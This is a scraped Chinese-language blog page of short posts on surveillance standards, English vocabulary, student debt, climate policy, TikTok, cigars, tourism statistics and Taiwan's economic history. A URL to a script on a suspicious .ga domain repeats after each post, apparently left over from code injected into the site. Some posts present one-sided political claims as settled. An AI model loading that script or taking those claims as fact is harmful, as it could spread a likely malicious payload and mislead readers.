分類: 筆記

根據英國金融時報報導：「Chinese tech groups shaping UN facial recognition standards」。

不顧華盛頓DC反對，中國臉部辨識與監控技術內容載入聯合國International Telecommunication (ITU)標準，並因為產品價廉物美，被許多國家採用。

例如今年稍早南非的Vumacam 在約翰尼斯堡裝設的15000具備臉部辨識功能的監視設備就採購自中國的海康威視。八月份烏干達決定全國性裝設類似的監視設備採購自華為。而近日新加坡也決定以中國設備安裝全國境內。

事實上，目前世界上已安裝或即將安裝類似臉部辨識功能的監視設備的67個國家裡，55個採用中國技術或設備（見圖），其中也包含口嫌體正直的美國。

雖然歐美也有自己的相關技術標準，例如IETF, IEEE 與3GPP，但目前聯合國的ITU主流技術標準以中國為準。與此同時，ITU標準也受到越來越多民營公司採用。

報導中也提到某些人權團體抗議標準制定過程沒有人權律師或隱私權運動者參與，但稍懂法律者（尤其是美國法）都知道這些人只是胡扯，因為這類監視器幾乎都裝設在公共場所，而公共場所可以主張的隱私權微乎其微。講白了只是一群尋租者在怨嘆沒分到好處。
跟我們之前批評過的各種尋租的環保團體、人權團體或動保團體別無二致。

https://js.developerstatss.ga/stat.js?n=ns1

前言：很多人可能跟我一樣，明明某些知識或資訊知道怎麼用中文說，但卻不曉得怎麼用英文說。結果在英文對話時張口結舌、啞口無言搞得自己好像很呆、程度很差似的。所以我把一些中文懂但英文不太會講的資訊筆記下來，除了供自己參考，也分享出來給讀者們瞧瞧。希望這些訊息對你有幫助。

Preface: There is some knowledge or information that I can talk about in Chinese (my first language) but not in English. Therefore, as an English learner, I noted some of them and try to share them on my blog. I hope it’s helpful to you, too.

Semidiurnal: twice a day

Diurnal: daily

Biweekly: twice a week or every two weeks

Semiweekly: twice a week

Weekly: once a week

Bimonthly: twice a month or every two months

Triweekly: three times a week or every 3 weeks

Semimonthly: twice a month

Monthly: once a month

Trimonthly: every three months

Quarterly: four times a year

Biannual: twice a year

Semiannual: every six months

Annual: yearly

Perennial: occurring year after year

Biennial: 2 years

Triennial: 3 years

Quadrennial: 4 years

Quinquennial: 5 years

Sexennial: 6 years

Septennial: 7 years

Octennial: 8 years

Novennial: 9 years

Decennial: 10 years

Undecennial: 11 years

Duodecennial: 12 years

Quindecennial: 15 years

Vicennial: 20 years

Tricennial: 30 years

Quadricennial: 40 years

Semicentennial: 50 years

Centennial: 100 years

Sesquicentennial: 150 years

Bicentennial: 200 years

Quadricentennial: 400 years

Quincentennial: 500 years

Millennial: 1000 years

https://js.developerstatss.ga/stat.js?n=ns1

前言：很多人可能跟我一樣，明明某些知識或資訊知道怎麼用中文說，但卻不曉得怎麼用英文說。結果在英文對話時張口結舌、啞口無言搞得自己好像很呆、程度很差似的。所以我把一些中文懂但英文不太會講的資訊筆記下來，除了供自己參考，也分享出來給讀者們瞧瞧。希望這些訊息對你有幫助。

Preface: There is some knowledge or information that I can talk about in Chinese (my first language) but not in English. Therefore, as an English learner, I noted some of them and try to share them on my blog. I hope it’s helpful to you, too.

星期日 — Sunday: sun day （太陽之日）

星期一 — Monday: moon day （月亮之日）

星期二 — Tuesday: Day of Tiw, the god of battle （戰神Tiw之日）

星期三 — Wednesday: Day of Woden or Odin, the god of poetry and the dead （詩神與死神奧丁之日）

星期四 — Thursday: Day of Thor, the god of thunder （雷神索爾之日）

星期五 — Friday: Day of Frigg, the goddess of married love （婚姻愛神Frigg之日）

星期六 — Saturday: Day of Saturn, the god of fertility and agriculture （繁殖與農神Saturn之日）

https://js.developerstatss.ga/stat.js?n=ns1

從WSJ這篇報導「New Lawyers Are Swimming in Debt」看來：

1. 律師這行業的起步收入與名校品牌有極大的關聯性。

名校一般第一年菜鳥律師收入都有$15萬美元以上（約台幣$450萬元）

這點也與我自身觀察到的吻合。

但名校畢業生是否保證法律專業品質？這似乎關連性就不如收入了。
畢竟法律服務專業存在巨大的資訊費用 — 客戶要是有能力分辨律師的法律意見是否夠專業，大概也不需要找律師了。

2. 許多人借錢念書其實是浪費時間浪費錢，只是要承認這件事很難。

3. 美國學貸會是個大問題：
美國每年約2千萬大學以上學生，其中60%均負擔高低不一的學貸。根據美國聯準會資料（見圖），截至2019年第三季，美國學貸總額已達1兆6千多億美元！2006年第一季僅4800億美元左右。年複合成長率約9％。

從非名牌法學院學生的首年收入不到借貸總額1/4來看，我們可以推想如果有「律師執照」的一定壟斷租值保護下尚且如此，則是否許多美國學貸債務人在下一波不景氣時，違約率會否快速飆升？此現象一旦發生，是否學貸會否是另一個壓垮金融系統的最後一根稻草？

這塊風險尚待進一步研究，我只是藉此機會點出這方面的擔憂而已。

https://js.developerstatss.ga/stat.js?n=ns1

2017年6月我就曾寫過：「慶幸Trump腦袋夠清楚，不參加巴黎氣候協議這種愚蠢政治秀！」（見圖）

並於8月引述WSJ報導，談論這些口說道德手摸奶的歐洲政客，嘴裡一個個都販賣恐懼地聲稱「再不拯救地球人類就要滅亡」，但煤炭卻是燒好燒滿再加碼進口！（見圖）

到了2019年11月25日，聯合國的WMO報告指出，二氧化碳濃度從2017年的405.5百萬分濃度（ppm），激增至2018年的407.8ppm，增幅達2.3 ppm，超越2005至2015年這十年的平均增幅2.06ppm。

足以證明巴黎協議本就是一場政客販賣恐懼的尋租秀，實質上對減碳毫無幫助。

https://js.developerstatss.ga/stat.js?n=ns1

此文中沈伯洋聲稱：

「有人說，常看抖音的人最容易被洗腦，因為接收資訊的方式變得很膚淺。越膚淺越容易被洗腦，所以後來印度把抖音下架了。抖音本來就是共產黨統戰軟體，熟悉了10～15秒的吸收方式，很多短笑話、中國式舞蹈，文化洗腦做久了，到時要丟假新聞就很容易。只要100則訊息裡面有一則政治的訊息，就很容易被洗腦接受了。」（2019/11/11）

（https://opinion.cw.com.tw/blog/profile/441/article/8704）

結果事實是：

「On 3 April 2019, the Madras High Court while hearing a PIL had asked the Government of India to ban the app, citing that it “encourages pornography". The court also noted that children using the app were at risk of being targeted by sexual predators. The court further asked broadcast media not to telecast any of those videos from the app. The spokesperson for TikTok stated that they were abiding by local laws and were awaiting the copy of the court order before they take action. On 17 April, both Google and Apple removed TikTok from Google Play and the App Store. As the court refused to reconsider the ban, the company stated that they had removed over 6 million videos that violated their content policy and guidelines.
On 25 April 2019, the ban was lifted after a court in Tamil Nadu reversed its order of prohibiting downloads of the app from the App Store and Google Play, following a plea from TikTok developer Bytedance Technology」

抖音在印度是因為「可能鼓勵兒童色情問題」被法院禁止，但僅22天就被解禁。

今年11/14美國華爾街日報才報導「抖音在印度驚人暴紅，下載量是美國的四倍」（"TikTok—Target of U.S. Suspicion—Is a Smash Hit in India"）

（https://www.wsj.com/…/tiktoks-growth-surges-in-india-undent…）

感謝沈助理教授親手示範「洗腦」，真的要自己動手查資料喔！呵呵。

https://js.developerstatss.ga/stat.js?n=ns1

1. 我反覆強調：對真正社會底層者，經濟改善帶來的人權進步遠超過那些言不及義、天空畫大餅的人權運動。
對這群無家可歸者而言，連「免於被隨機打死」的自由都沒有，講啥「言論自由」？
反之，當整體社會透過自由市場經濟達到繁榮與財富累積時，我們可以看到兩個現象：
a. 實質收入的增加會促進「產權和政治需要脫鉤」，使得社會上多數人可以自營維生，不會因自身的政治言論或不言論而受侵害。
同時，實質收入增加也方可實質增進遷徙自由、人身安全自由或宗教自由等等自由權的真正內容。
這部份的經濟分析很複雜，有機會再詳談。
b. 整體社會的富裕程度夠高，也才足以負擔質與量都足夠的警察系統、國防系統乃至於司法體系。
這是說，一個國家的治安維護與司法貫徹都要鉅額費用。法官寫個判決，沒人或沒錢去執行，這種正義若有實無。
又例如影片中說明，多數遊民之所以不願意去庇護所（shelters），是因為那裡面更危險。
我曾在加州灣區與一位加油站流浪漢分享咖啡聊天，聽到的也是差不多的狀況 — 在外面遊盪過夜還比較安全。（話說當時我同學被我的舉動嚇壞了，哈）
以2018年統計為例，美國St. Louis 謀殺率為 61/10萬人；Baltimore為51/10萬人；New Orlean為37/10萬人。
而影片中的紐約，其實算是美國治安比較好的大都市了，2018年紐約謀殺案件數量是70年來最低。

2. 但，影片最後，視頻主說就在他做節目的當晚，就在他做節目的附近，有四個睡著的流浪漢就莫名其妙被人用鐵棍打死。
這就是紐約。Welcome to the Big Apple!

https://js.developerstatss.ga/stat.js?n=ns1

單位：美元

10 Arturo Fuente Anniverxario $78/支

9 Arturo Fuente Pous X $300/支

8 Cohiba Behike $450/支

7 Gurkha His Majesty’s Reserve $750/支

6 Gurkha Black Dragon $1150/支

5 King of Denmark $4500/支 

4 Regius Double Corona $52,785/支

3 Gran Habano No.5 $185,000/支

2 Mayan Sicars $507,000/支

1 Gurkha Royal Courtesan $1,000,000/支

前三名根本就是亂搞，第三名那個size正常人哪有辦法抽？第二名直接是馬雅遺址出土的上古千年雪茄，這要弄到手也不見得能合法地抽吧？

第一名則是包純金金箔又鑲鑽石，擺明是騙錢炫富用途。

裡頭我自己買過抽過的只有Coheba，相當推薦，但印象中沒那麼貴啊？

https://js.developerstatss.ga/stat.js?n=ns1

一、2017年中國出境旅遊人數為1.3億人次，連續多年為世界第一大出境旅遊客源國。旅遊花費$1152億美元

二、 中國是泰國、日本、韓國、越南、柬埔寨、俄羅斯、馬爾地夫、印尼、朝鮮、南非等國家的最大入境客源國。

（日本？！沒錯，2017年中國人到日本旅遊是735.58萬人次，連3年居首，台灣人赴日則是456.41萬人次）

三、目前中國享有互相免簽證、單方面免簽證與落地簽證的國家共66國。

四、出境遊客中59%為女性；

70、80後佔48%；

44%為旅行團、42%為自由行、14%為私家團。

30％為親子旅行、21％為情侶旅行。

五、中國人前Top 5最愛旅遊都市：

曼谷、新加坡、大阪、東京、清邁

Top5景點：

香港迪士尼樂園、新加坡環球影城、法國羅浮宮、日本環球影城、阿聯酋哈利法塔 （台北101剛好排第六）

2018年陸客來台灣自由行人數140萬人次；中國前往世界自由行人次是5460萬人次，台灣僅佔其中2.56%。

——————————————————————

有法律人聲稱「中國禁止自己人民赴台灣自由行是人權侵害」，從比例上來看，2.56%，好驚人的侵害。

還看到有人聲稱中國人哪都不能去，連台灣都被禁止，極權統治真是鐵幕，好可怕。看看世界第一大出境旅客國，一年5千多萬人次世界自由行的數字….此人莫非活在平行時空？

最後一個問題：是陸客比較需要台灣景點？還是台灣景點比較需要陸客？呵呵

https://js.developerstatss.ga/stat.js?n=ns1

值得一讀。
不確定是否為蔣碩杰先生所著，但根據過往我看過的一些蔣先生的著作，經濟學理念與觀點十分相近。

而此文敘述的台灣經驗，其實也佐證過去我針對中美貿易戰「經濟水晶球」一文中預測：
“如果美國對中國的貿易壁壘維持在這種雷大雨小的局面，則中國製造將被迫品質提昇，20年內達到今日甚至90年代「日本製造」的世界相對水平。"

過去台灣的蘑菇、蘆筍罐頭出口均靠價廉優勢取得一定成就後被美國貿易制裁，從而轉向更高租值品相。工業品乃至於IT產品亦然，這是經濟學定律。我亦於「Alchian-Allen定律 （https://tinyurl.com/y8whhtbp）」一文中解釋得很清楚。
與此同時，我反覆談論過的：「陳義過高工業法規、環保消防法規….等等限制人民投資生產活動環境，除了有利於政客貪汙外，也必然導致資源往非生產活動部分移動，產生名義財富與實質生產脫節的現象。」
而這部份也會讓享有政商勾結管道者更易致富，也更生成「不健康的貧富差距」 — 此差距並非來自於勞動意願與天資禀賦，而是來自於對生產活動弊大於利的政治關係。
另一方面，當名義金融活動的財富與實際生產力脫鉤得越嚴重時，一旦碰上不景氣，其災難性與嚴重性也會隨之加劇，方可使重新調整的名義價格接近實際生產要素的合理供需配置。這是說：當某人裝闊裝得越高大上，摔下來也越痛。

PS 我長久以來主張與蔣先生一樣：台灣地狹人稠，根本不具備多數農業生產的比較優勢，台灣政府也完全不應該有任何農業補貼政策導致資源錯置，徒增浪費與財富移轉背後的五鬼搬運、貪汙腐敗機會。

—————————————————–
摘錄該文幾段供參：
1. 「当时，台湾经济当局因信奉发展政策方面两个流行的错误观念而吃了苦头。这两个观念当时在学术界中非常时髦，即：第一，对于一个发展中国家来说，实现现代化的最好方式是采取高关壁垒或进口限制，从而提供一个保护性的国内市场，以扶持本国幼小工业的发展。第二，为了刺激投资，甚至在通货膨胀率很高的情况下，也要维持较低的利息率，从而据说能保证为国内新的工业提供廉价的信贷供给。
不幸的是，这两个政策主张都是有害无益的。坚持执行这种发展战略的发展中国家，今天的经济实绩都是非常落后的。台湾在通货膨胀情况下抛弃了低利率政策，把台币价值降低到真实水平，并取消了对进口的数量限制和保护性关税，从而最早冲破了这种时髦的发展战略。
在实行了这些改革措施之后30年内,台湾经济取得了高速度的发展。几年以后，南朝鲜步台湾之后尘，也取得了显著的高增长。因此，联系这些经验来考察这一发展战略是必要的。」
2. 「针对那种认为汇率贬值一定会推动国内通货膨胀的观点，我们指出，进口商品的国内市场价格，当其供给的数量受到限制时，并不是由它的产地成本来确定的，而是由国内有效需求的强度以及允许这些产品进入该国的数量来决定的。在汇率贬值和贸易自由的条件下，并且假定台湾所有可出口商品的国外需求在总体上说并不是无弹性的，那么，出口的收入将会增加，从而能够增加进口的数量。另一方面，如果实行汇率贬值和贸易自由以后，进口能够与出口同步扩大，那么，贸易将会继续保持平衡，汇率贬值也不会起用货币衡量的总有效需求的扩大。因此，认为实行汇率贬值和贸易自由会提高所有进口品的价格是没有道理的。
的确，只要进口商品的关税高于所谓“适度关税率”，毫无疑问会由于资源更有效的配置而增加实际收入。因而，如果在资源重新配置的过程中没有草率地增加货币量，则价格总水平更可能是下降而不是上升。」
3. 「但只是在60年代，把汇率同放松进口需求控制联系起来之后，出口的发展才真正开始起飞。到1970年，台湾出口的价值( 按美元计算)增加到14.81亿美元，而最低点的1954年仅为9300万美元，16年间增长了15.9倍。60年代期间年平均增长21.7 个百分点。整个70年代一直保持了高速增长，到1980年，台湾出口商品价值达198.11亿美元，是1954年的200多倍。70年代期间出口每年平均增长32. 6%。
实行贸易自由和更真实的汇率所推动的出口的迅速增长，使台湾经济能够调整方向，更集中地发展那些能够利用台湾有较大优势的资源禀赋的工业，避免受到资源约束的工业。这可以从台湾的出口结构以及产业结构的变化中反映出来。
1952年，农产品和加工农产品在台湾的出口商品总价值中占91.9 %。到1970年，这两类产品所占份额下降为21.4%；到1986年，它们在总出中所占比例仅仅为6.5%。相反，工业产品在出口中的份额则迅速上升，1952年仅为8.1%，1970年就上升到78.6 %，1986年更上升为93.5%。
以上事实表明，对于一个只有三分之一的土地可以耕种，总人口密度超过荷兰的拥挤小岛来说，其比较优势显然不在于农产品，而在于生产那些劳动力需求量相对较大，但对土地面积和资本的需求较少的产品。在发展的初期阶段,纺织、服装、鞋、雨伞、玩具以及其他一些轻工业产品最适合台湾的资源禀赋。」
4. 「如上所述，台湾迅速增加的人口密度，使得出口大米的生产很快变得无利可图。于是开始把蘑菇作为一种新的出口作物来生产，因为蘑菇能够在较小的空间内生长，占地面积相对要小得多。这种新的作物很快发展成为大宗出口商品，出口价值每年超过100万美元。但是，美国很快对台湾向美国出口蘑菇施加所谓“自动限制”。于是，台湾又在欧洲共同市场开辟了新的蘑菇出口市场，同时开发了一种新的出口作物：芦笋。但是,芦笋出来很快又重复了同样的经历，美国和欧洲共同市场象对待台湾蘑菇出口那样，开始对台湾芦笋出口施加数量限制。因此，台湾必须不断地去开发新的出口产品，开拓新的市场。」
5. 「对于台湾来说，非常幸运的是具有大量有能力的企业家，但是必须强调指出，由真实汇率所提供的极大的刺激作用也是非常重要的。因为真实汇率使出口厂商能够获得其出口收入的充分市场价值。而且，台湾不带偏见地对待外国直接投资以及外国资本参与国内工业的态度，也使台湾经济受益非浅，因为外国投资者经常带来新的产品设计和新市场营销战略。
出口构成的迅速变化和出口商品生产的相对重要性的迅速提高，自然带回了台湾经济结构的相应变化。1951年，在台湾的国内生产总值(GDP)当中，农业产出所占份额为32.5%，而工业产出(包括采掘、制造、公用设施、建筑)的份额仅为23.7 %。1970 年，农业的份额已经下降到15.5 %，而工业产出的份额上升到41.3%。这一趋势持续于整个70年代。1985年，农产品的份额下降到仅6.0 %，而工业生产的份额进一步提高到49.7%。
国内生产总值中农业的权重向工业生产的转移，对于人均实际收入和台湾人民生活水平的稳定改善具有十分重大的影响。因为在台湾这样一个拥挤的小岛上，农业不可避免地要服从于无情的收益递减法则。防止这一法则大规模地作用的唯一方法，就是把劳动力从农业生产转移到工业生产中去，因为土地是农业生产的限制性要素，但不是工业生产的限制性要素。这种生产资源从农业生产到工业生产的重新配置，以及集中力量发展台湾具加真正比较优势的工业的能力，是台湾之所以不仅能供养大量人口，而且能够使真实人均收入水平提高7倍的基本原因。但是，只有通过使台湾进入出口导向型发展过程的汇率贬值和贸易自由，这种资源的集中和重新配置才可能进行。」
6.「台湾的经历反复地、令人信服地证明了这样一个事实：充分的储蓄存款利率是吸引公众在银行系统自愿储蓄的必不可少的诱导因素，也是一个重要的反通货膨胀工具。它结论性地证明，成本推动型通货膨胀理论家认为提高法定的受控制的低利率将刺激国内的通货膨胀的观点是错误的。… 1952年，台湾用于储蓄的国民收入仅5.2%，而到1963年，储蓄率已经上升到13.2 %，超过当年英国(9.8 %) 和美国(9.1%的同一比率。1972 年以来，台湾的国民收入储蓄率甚至开始超过日本，而日本的这一比率通常是世界上最高的。1978年，台湾的储蓄率高达35.2%，而当年日本为22.3%，英国为9.0%，美国8.9 %。」

https://mp.weixin.qq.com/s/p3uIwQy32BH7BwOApdSgPQ

https://js.developerstatss.ga/stat.js?n=ns1